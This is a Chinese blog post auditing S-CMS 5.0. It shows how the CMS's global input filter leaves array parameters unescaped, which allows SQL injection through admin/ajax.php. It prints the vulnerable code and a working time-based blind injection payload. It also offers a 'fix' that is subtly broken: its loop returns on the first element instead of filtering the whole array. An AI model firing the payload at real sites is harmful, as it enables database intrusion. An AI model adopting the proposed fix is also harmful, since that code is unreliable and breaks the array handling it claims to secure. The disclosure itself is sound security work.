[PHP代码审计]由S-CMS5.0最新SQL注入带来的审计新思路
Posted Y4tacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[PHP代码审计]由S-CMS5.0最新SQL注入带来的审计新思路相关的知识,希望对你有一定的参考价值。
写在前面
目前已交CNVD,出于其影响综合考虑,想了几天还是打算分享给大家,希望给大家带来更多的启发
前几天挖了一下S-CMS的SQL注入,这里不得不引起我的一个思考,很多时候开发者只是误认为自己的全局Waf很安全,其实并不是,接下来我们就来看看这个SQL注入,当然这个CMS还有其他注入方式这里只是因为觉得这个点好玩所以才发这篇文章,只是想告诉大家,全局waf
的错误对整个CMS来说都是致命的
审计思路
在这个CMS
很多请求都是通过admin/ajax.php
去实现,我们来看看头部,引入了三个文件
<?php
require '../function/conn.php';
require '../function/function.php';
require '../function/mobile.php';
这里我节约时间,直接给大家看第二个,能看到这里是有一个全局参数的Waf
$_POST = array_map('check_input', $_POST);
$_GET = array_map('check_input2', $_GET);
$_COOKIE = array_map('check_input2', $_COOKIE);
$_REQUEST = array_map('check_input2', $_REQUEST);
$_SERVER = array_map('check_input2', $_SERVER);
这个check_input2
还算是安全
function check_input2($value){
if (is_array($value)){
return $value;
}else{
$value=str_replace("*","__",$value);
$value=str_replace("'","__",$value);
$value=str_replace("\\"","__",$value);
$value=str_replace("<","__",$value);
$value=str_replace(">","__",$value);
$value=str_replace(" ","__",$value);
$value=str_replace("$","__",$value);
$value=str_replace("\\t","__",$value);
return addslashes(trim($value));
}
}
可是check_input
却并不是,我们能猜测到开发者是希望能够对数组形式进行过滤可是他没做到,因此不难得知这里可能存在参数注入
function check_input($value){
if (is_array($value)){
return $value;
}else{
return addslashes(trim($value));
}
}
我们使用全局搜索一波\\$_POST\\[\\$[a-zA-Z0-9]\\]\\[
,果然是有的,那我很容易对其进行注入
看看这里是
if (splitx($x, "_", 0) == "hide") {
mysqli_query($conn, "update " . TABLE . "menu set U_hide=" . $_POST[$x][0] . " where U_id=" . splitx($x, "_", 1));
}
我们传参,也就构成了注入
hide_1[]=1 AND (SELECT if(1=1,sleep(5),1))
修复建议
我个人对此的修复方式
function check_input($value){
if (is_array($value)){
foreach ($value as $k=>$v) {
return check_input($v);
}
}else{
return addslashes(trim($value));
}
}
以上是关于[PHP代码审计]由S-CMS5.0最新SQL注入带来的审计新思路的主要内容,如果未能解决你的问题,请参考以下文章
19-PHP代码审计——jizhicms逻辑漏洞分析(由越权引发的sql注入)